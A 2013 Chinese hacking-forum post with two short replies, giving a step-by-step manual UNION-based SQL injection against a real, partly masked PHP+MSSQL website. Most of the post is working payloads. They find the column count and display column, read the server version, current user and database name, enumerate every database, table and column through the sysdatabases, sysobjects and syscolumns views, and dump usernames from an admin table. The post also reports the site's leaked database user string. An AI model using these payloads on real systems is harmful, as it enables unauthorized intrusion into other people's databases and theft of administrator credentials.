小男孩 发表于 2013-3-1 21:27:44

PHP+MSSQL手工注入

一般的管理员都会采用PHP+MYSQL的方式,毕竟这也是一个主流的架构方式,不过某些变态的就采用了PHP+MSSQL的架构,虽然不能说太难,但是如果手中没有工具的话,可能也要费一点周折了
今天我们的实例网站是http://www.XXX.com/cbs_xx.php?cbs_id=415网站我还是打上码吧,
我们先来看一下是否有注入,习惯性的加个'来看一下
看来是有注入的,下面来看一下字段就是ORDER BY 这个我想大家都会,我就不说了,最后貌似是三十个字段
然后就来构造SQL语句吧
这里如果构造像
    union+select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 --

这样的语句显示就会不正确,那么我们如何来构造呢
习科上面的大牛已经给出了一个方式,就是用UNION+ALL+SELECT 代替UNION+SELECT ,并且用NULL代替数字,知道页面显示正常之后构建不存在的页面,然后挨个替换,找出显示位
那么我们构造的语句就应该是这样的
    URL+union+all+select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null --


我们可以看到回显已经正确了 QQ截图20130301153551.jpg ,打码技术有限,大家将就着看一下吧
接下来我们来试试找出显示位吧

    -415+union+all+select 1,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null --

挨个替换就行了,最后,我找到第四个就是显示位 QQ截图20130301154122.jpg
下面来看一下版本

    -415+union+all+select null,null,null,@@version,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null --


sql 2000的,然后就来看一下当前用户是什么

    -415+union+all+select null,null,null,user,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null --


用户是rtbooklys*@#0529,好了,我们来看看都有什么数据库吧,爆库开始……
先来看一下当前的数据库是什么,

    -415+union+all+select null,null,null,db_name(),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null --


这里不知道为什么sql语句被转换成这样了,还请知道的告知

    -415+union+all+select null%2Cnull%2Cnull%2Cdb_NAME%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull-#1572375432181028656


老是需要把后面修改的那串字符删掉才能爆出来当前库rtbook
我们是不是可以把所有的裤子全看一边呢,当然可以,sql语句如下:

    -415+union+all+select null%2Cnull%2Cnull%2CNAME%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull+from+master.dbo.sysdatabases+where+dbid=1


后来我用一个手工注入辅助工具,总算是不转换了
依次变换后面的dbid最后爆出来所有的库
               master
                tempdb
                model
                msdb
                pubs
                Northwind
                rtqikan
                rtbook
                zaixiandaku
所有的库都出来了,我们来看一下当前库中的表吧

    -415+union+all+select null,null,null,name,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null +from+rtbook.dbo.sysobjects+where xtype=CHAR(85) and name not in (select top 1 name from rtbook.dbo.sysobjects where xtype=CHAR(85))--


其中两个地方要填写数据库名,格式是   数据库名.dbo.sysobjects,总过两个,要是一样的。如果不是当前的数据库,这就成了跨库查询,可能有的虚拟主机设置权限不让跨库查询。
括号里的最后一句: (select top 1 name from rtbook.dbo.sysobjects where xtype=CHAR(85)
这里面变化top XX name 里面的数字即可,这个XX是表的序号。没什么说的,就是一个相关子查询,学过SQL语句的应该知道
第一个是cbs_tj
cbs_tjb
cbs_xg
然后依次爆出即可,连着爆了五六个都没爆出看着像管理员表的,最后,终于看到一个表back_user表,看着像管理员表
下面我们就来看看怎么列出库中的字段
这里分为两步,首先我们需要获得库ID
依照惯例:sql:

    union+all+select null,null,null,id,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null+from+rtbook.dbo.sysobjects+where xtype=CHAR(85) and name not in (select top 8 name from rtbook.dbo.sysobjects where xtype=CHAR(85))--


第二个括号中的8必须是在前面爆库的时候rtbook对应的N
得到的序号是:181575685

这个序号下面一步中要用到
开始:

    -415+union+all+select null,null,null,name,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null+from rtbook.dbo.syscolumns where ID=181575685 and name not in (select top 1 name from rtbook.dbo.syscolumns where ID=181575685)--


这样就可以列出rtbook中的所有的列名
得到表名,字段名就可以查询其中的内容了

    union+all+select null,null,null,user_name,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null+from back_user --

名哲 发表于 2013-3-1 21:44:11

亲 你的复制粘贴 有点坑爹 什么叫    我找到第四个就是显示位 QQ截图20130301154122.jpg   下面来看一下版本

xiaolynn 发表于 2013-3-20 12:25:55

还没遇到过这种的,,
页: [1]
查看完整版本: PHP+MSSQL手工注入